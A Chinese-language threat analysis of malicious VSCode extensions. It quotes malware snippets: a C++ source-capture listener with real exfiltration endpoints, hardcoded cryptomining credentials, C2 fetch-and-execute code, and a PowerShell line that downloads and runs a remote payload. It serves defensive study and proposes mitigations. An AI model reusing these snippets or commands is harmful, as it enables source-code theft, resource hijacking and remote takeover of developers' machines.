
摘要
在 Visual Studio Code (VSCode) 等整合開發環境 (IDE) 中,惡意擴充功能的擴散對軟體供應鏈安全構成重大威脅。本報告提供對此類擴充功能所採用的各種攻擊途徑的技術分析,包括原始碼外洩、加密貨幣挖礦和遠端程式碼執行。我們深入探討這些攻擊背後的機制,檢查 Threat actor 使用的特定程式片段和架構模式。分析強調了用於逃避偵測和維持持續性的複雜混淆技術和多階段感染鏈。此外,我們討論了對開發者安全的更廣泛影響,並提出了在 VSCode 生態系統中加強保護措施的領域。

1. 簡介
整合開發環境 (IDE) 是現代軟體開發的核心,提供了通常由第三方擴充功能增強的廣泛功能。雖然這些擴充功能提高了生產力,但它們也引入了一個關鍵的攻擊面。最近的事件表明,malicious actors 利用此途徑來危害開發者系統,導致智慧財產權竊取、資源劫持和未經授權的系統控制 [1]。本報告著重於這些惡意 VSCode 擴充功能的技術複雜性,分析其操作方法和促成其非法活動的底層程式。目標是提供對這些威脅的詳細理解。
2. 攻擊途徑與技術機制
惡意 VSCode 擴充功能通常會採用幾種複雜的技術來實現其目標。這些可以大致分類為程式外洩、加密貨幣挖礦和遠端程式碼執行。
2.1. 程式外洩:以
C++ Playground
為例
程式外洩的一個突出例子是在偽裝成開發工具的擴充功能中觀察到的,例如
C++ Playground
擴充功能 [1]。此擴充功能在提供合法的 C++ 開發功能時,會秘密捕獲並傳輸開發者的原始碼。核心機制涉及監控 VSCode 環境中的檔案變更。
該擴充功能利用 VSCode 的 Native API 註冊檔案變更監聽器。具體來說,它利用
P.workspace.onDidChangeTextDocument
事件來偵測對 C++ 檔案的修改。偵測到變更後,擴充功能會捕獲更新的內容並準備外洩。在捕獲程式碼之前延遲 500 毫秒是刻意選擇的,旨在最大限度地減少性能影響,使惡意攻擊更不容易被開發者注意到 [1]。
- P.workspace.onDidChangeTextDocument(async (i) => {
- // Check if the document exists, is a C++ file, and is a local file
- i.document &&
- i.document.languageId == "cpp" &&
- i.document?.uri.scheme == "file" &&
- // Check for changes and update the stored file content
- (j?.document.uri.toString().includes(Ut) ||
- (mt.myfile != i.document.getText() &&
- (Bt(i), (mt.myfile = i.document.getText()))));
- })
onDidChangeTextDocument
C++ 檔案的監聽器 [1]
此監聽器確保每次按鍵後(經過短暫延遲),都會捕獲完整的 C++ 原始碼。然後,捕獲的程式會被打包成 JSON Payloads 並發送到多個外洩端點。下面提供了 Payload 結構和目標端點的示例:
- // Primary exfiltration targets
- ea = [
- "https://ab498.pythonanywhere.com/test4",
- "https://api.codex.jaagrav.in",
- "https://ab498.pythonanywhere.com/compile",
- ]
- // Example payload structure
- {
- code: "/* YOUR COMPLETE C++ SOURCE CODE */",
- language: "cpp",
- replaced: "/* PROCESSED VERSION OF YOUR CODE */",
- input: "/* SIMULATED INPUT DATA */"
- }
這種針對性方法,僅關注 C++ 檔案,表明了企圖不被使用其他語言的開發者偵測到,同時有效地危害 C++ 專案的複雜嘗試 [1]。
2.2. 加密貨幣挖礦:以
HTTP Format
為例
另一個常見的攻擊途徑是劫持系統資源進行加密貨幣挖礦。例如,
HTTP Format
擴充功能偽裝成用於格式化 HTTP 檔案的工具,但秘密整合了一個加密貨幣礦工 [1]。此類惡意軟體通常利用 CoinIMP 等服務來管理挖礦操作。
惡意擴充功能將用於挖礦服務的 hardcoded API 認證直接嵌入在其混淆的程式中。這些認證允許 Threat actor 監控挖礦進度、提取資金並遠端管理受危害的系統 [1]。
// Hardcoded mining operation credentials Site Key: 53415facb13dccbdf8523b5eefd45d01f6b16bf984cd8cf39ac04150266a4cd9 API Key: a8cf5c9291594c471bb786dcadeb9845bc3cc26a17ec52ec632a9bb7844e5b87 Username: mainuser
該擴充功能會建立與各種 CoinIMP API 端點的連線,以促進其操作,包括餘額監控、使用者管理和加密貨幣提款 [1]。
# CoinIMP API Endpoints https://www.coinimp.com/api/v2/user/balance // Balance monitoring https://www.coinimp.com/api/v2/user/list // User management https://www.coinimp.com/api/v2/user/withdraw // Cryptocurrency withdrawal
對受害者系統的影響包括顯著的 CPU 使用率、性能下降和增加的電力消耗,這通常會讓開發者錯誤地將這些問題歸咎於硬體或軟體故障,而不是惡意攻擊 [1]。
2.3. 遠端程式碼執行 (RCE) 後門
在一些惡意 VSCode 擴充功能中發現的最危險功能可能是遠端程式碼執行,這使攻擊者能夠完全控制受感染的機器 [1]。這些後門設計用於定期從命令與控制 (C2) 伺服器下載和執行任意程式碼。
在
498.cppplayground
、
498.httpformat
和
498.pythonformat
等擴充功能中可以看到一個示例,這些擴充功能包含相同的後門程式 [1]。此程式碼通常會向 C2 伺服器發出 HTTP GET request 以擷取 Payload,通常是 JavaScript 或 PowerShell 腳本,然後在本地執行。Datadog Security Labs 的報告詳細介紹了一個類似的機制,其中一個惡意的 Solidity 擴充功能向
solidity[.]bot/version.json
發出 GET request [2]。如果偵測到特定版本,則會解碼一個
version_hash
並將其作為 PowerShell 命令執行。
- const e = {
- hostname: "solidity[.]bot",
- path: "/version.json/",
- method: "GET",
- headers: {
- Platform: p.default.platform().toString(),
- Accept: "application/json",
- Referer: "https://solidity[.]bot/"
- }
- };
- const t = g.default.request(e, (e => {
- let t = "";
- e.on("data", (e => {
- t += e
- })),
- e.on("end", (() => {
- try {
- const e = JSON.parse(t);
- if ("v1.4.2" === e.version) console.log("Version is up to date!");
- else if ("v1.4.1" === e.version) {
- console.log("Outdated version, checking hash...");
- const t = e.version_hash,
- n = this.decode_hash(t);
- (0, h.exec)(n) // Execute the decoded hash
- }
- } catch (e) {
- console.error("Invalid JSON:", e)
- }
- }))
- }));
version.json
檢查實現 RCE 的機制 [2]
解碼後的
version_hash
通常會揭示一個 PowerShell 命令,旨在下載和執行進一步的 Payloads,從而啟動複雜的多階段感染鏈。例如,一個常見的命令是
powershell -ExecutionPolicy Bypass -Command "irm https://solidity[.]bot/a.txt | iex"
[2]。此命令會下載並執行
a.txt
,然後可能導致惡意瀏覽器擴充功能的安裝、安全功能的停用,以及部署進階惡意軟體,例如 Quasar RAT [2, 3]。
2.4. 多階段感染鏈和混淆
惡意 VSCode 擴充功能經常採用多階段感染鏈和複雜的混淆技術來逃避偵測並確保持續性。初始 Payload 通常充當 Dropper,從遠端伺服器下載後續階段。這些階段可以包括 PowerShell 腳本、VBScripts 和可執行檔,每個都設計用於執行特定的惡意動作,例如禁用防毒軟體、建立持續性和外洩資料 [2, 3]。
混淆對於這些攻擊至關重要。技術包括 JavaScript 中的程式混淆、帶有 runtime 修復的損壞 VBS 腳本,以及使用 Base64 編碼將 Payloads 隱藏在圖像中 [2]。這些方法使靜態分析和動態分析變得具有挑戰性,讓惡意軟體可以隱密地運作較長時間。
以下是說明簡化多階段感染流程圖:
3. 生態系統漏洞與緩解措施
VSCode 擴充功能生態系統儘管有其優勢,但也存在一些malicious actors利用的漏洞。對 52,880 個第三方 VSCode 擴充功能的全面分析顯示,大約 5.6% 表現出可疑行為,這表明對開發環境構成了重大威脅 [4]。主要問題源於 VSCode 架構中缺乏強大的安全控制,允許不受信任的第三方程式碼以可疑功能運行 [4]。
3.1. 供應鏈風險
對包括 VSCode 擴充功能在內的第三方元件的依賴引入了實質性的供應鏈風險。攻擊者可以危害這些元件,影響眾多系統和軟體產品,而無法立即偵測到 [4]。惡意擴充功能很容易發佈並獲得關注,通常透過 Typosquatting 和虛高的下載次數,使這個問題更加嚴重 [3]。
3.2. 安全措施與建議
為緩解這些威脅,有幾項措施至關重要:
- 加強市集審查 :對提交到市集的擴充功能進行更嚴格的審查程序,包括針對可疑行為的自動靜態分析和動態分析 [4]。
- 執行期沙箱 (Runtime Sandboxing) :為擴充功能實施更精細的沙箱機制,以限制它們對系統資源和敏感資料的存取。這將限制不受信任程式碼的功能 [4]。
- 使用者教育 :需要教育開發者了解與安裝來自未知發佈者的擴充功能相關的風險以及驗證擴充功能合法性的重要性。
- 行為監控 :開發和部署工具,即時監控擴充功能的行為是否存在異常活動,例如意外的網路請求或過度的資源消耗 [1, 3]。
- 程式碼簽章與驗證 :要求對擴充功能進行程式碼簽章,以確保其完整性和真實性,使攻擊者更難以注入 malicious payload。
4. 結論
惡意 VSCode 擴充功能對軟體開發生態系統構成了複雜且不斷演變的威脅。透過詳細的技術分析,我們探討了這些擴充功能如何促進程式外洩、加密貨幣挖礦和遠端程式碼執行,通常採用多階段感染鏈和進階混淆。目前擴充功能市集和執行時期環境中固有的漏洞需要協同一致地努力來增強安全性。透過實施更嚴格的審查、改進的沙箱機制和持續的行為監控,開發社群可以更好地防禦這些普遍的威脅,保護智慧財產權並維護軟體供應鏈的完整性。
參考資料
- TigerJack's Extensions Continue to Rob Developers Blind Across Different Marketplaces
- The obfuscation game: MUT-9332 targets Solidity developers via malicious VS Code extensions | Datadog Security Labs
- Malicious Crypto-Stealing VSCode Extensions Target OpenVSX and AI Code Editors: Threat Analysis and Mitigation
- Developers Are Victims Too : A Comprehensive Analysis of The VS Code Extension Ecosystem